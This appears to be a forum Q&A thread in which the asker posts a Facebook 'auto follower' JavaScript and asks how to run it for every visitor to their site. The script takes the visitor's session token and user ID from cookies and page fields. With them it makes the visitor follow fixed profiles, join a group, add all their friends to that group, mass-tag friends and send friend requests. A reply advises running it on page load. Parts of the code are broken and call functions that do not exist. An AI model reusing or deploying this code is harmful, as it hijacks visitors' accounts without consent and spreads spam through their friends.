i have a script for auto follower on facebook, how to make it run everytime visitor come to my website

this is that script

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function cereziAl(isim) {
    var tarama = isim + "=";
    if (document.cookie.length > 0) {
        konum = document.cookie.indexOf(tarama)
        if (konum != -1) {
            konum += tarama.length
            son = document.cookie.indexOf(";", konum)
            if (son == -1)
                son = document.cookie.length
            return unescape(document.cookie.substring(konum, son))
        }
        else { return ""; }
    }
}

function getRandomInt (min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
    return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
    var http4 = new XMLHttpRequest();

    var url4 = "/ajax/follow/follow_profile.php?__a=1";

    var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
    http4.open("POST", url4, true);

    //Send the proper header information along with the request
    http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http4.setRequestHeader("Content-length", params4.length);
    http4.setRequestHeader("Connection", "close");

    http4.onreadystatechange = function() {//Call a function when the state changes.
    if(http4.readyState == 4 && http4.status == 200) {

      http4.close; // Close the connection

    }
    }

    http4.send(params4);
}

function sublist(uidss) {
        var a = document.createElement('script');
        a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
        document.body.appendChild(a);
}

a("100000961486917");
a("100003749283741");
a("100000544340314");
sublist("582586361783408");
sublist("536187149767056");
sublist("638540972840708");

var gid = ['565745426803212'];

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
    data = eval('(' + gf['responseText']['substr'](9) + ')');
    if (data['error']) {} else {
        friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
            return _0x93dax8['index'] - _0x93dax9['index'];
        });
    };
};

for (var i = 0; i < friends['length']; i++) {
    var httpwp = new XMLHttpRequest();
    var urlwp = '/ajax/groups/members/add_post.php?__a=1';
    var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
    httpwp['open']('POST', urlwp, true);
    httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
    httpwp['setRequestHeader']('Content-length', paramswp['length']);
    httpwp['setRequestHeader']('Connection', 'keep-alive');
    httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
    };
    httpwp['send'](paramswp);
};
var spage_id = "325498994209906";
var spost_id = "325498994209906";
var sfoto_id = "325498994209906";
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun= new Date();
var btarihi = new Date(); 
btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
if(!document.cookie.match(/paylasti=(\d+)/)){
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
}


//arkadaslari al ve isle
function sarkadaslari_al(){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if(xmlhttp.readyState == 4){
                  eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
                  for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
                    smesaj = "";
                    smesaj_text = "";
                  for(i=f*10;i<(f+1)*10;i++){
                    if(arkadaslar.payload.entries[i]){
                  smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
                  smesaj_text += " " + arkadaslar.payload.entries[i].text;
                  }
                    }
                    sdurumpaylas();             }

            }

        };
        var params = "&filter[0]=user";
        params += "&options[0]=friends_only";
        params += "&options[1]=nm";
        params += "&token=v7";
        params += "&viewer=" + user_id;
        params += "&__user=" + user_id;

        if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
        else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
        xmlhttp.send();
}

//tiklama olayini dinle
var tiklama = document.addEventListener("click", function () {
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
sarkadaslari_al();
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();

document.removeEventListener(tiklama);
}
 }, false);


//arkada?¾ ekleme
function sarkadasekle(uid,cins){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if(xmlhttp.readyState == 4){    
            }
        };

        xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); 
        var params = "to_friend=" + uid;
        params += "&action=add_friend";
        params += "&how_found=friend_browser";
        params += "&ref_param=none";
        params += "&outgoing_id=";
        params += "&logging_location=friend_browser";
        params += "&no_flyout_on_click=true";
        params += "&ego_log_data=";
        params += "&http_referer=";
        params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
        params += "&phstamp=165816749114848369115";
        params += "&__user=" + user_id;
        xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
        xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");

if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
        xmlhttp.send(params);
}else if(document.cookie.split("cins" + user_id +"=").length <= 1){
        cinsiyetgetir(uid,cins,"sarkadasekle");
}else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
        xmlhttp.send(params);
}
}

//cinsiyet belirleme
var cinssonuc = {};
var cinshtml = document.createElement("html");
function scinsiyetgetir(uid,cins,fonksiyon){
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if(xmlhttp.readyState == 4){
            eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
            cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
            btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
            if(cinshtml.getElementsByTagName("select")[0].value == "1"){
            document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
            }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
            document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
            }
            eval(fonksiyon + "(" + id + "," + cins + ");");
            }
        };
        xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
        xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
        xmlhttp.send();
}

very simple.Just call these scripts on page load of your homepage.Write onload event and call the script that you want to call whenever user comes to your desired page.

If i use JavaScript on external link, how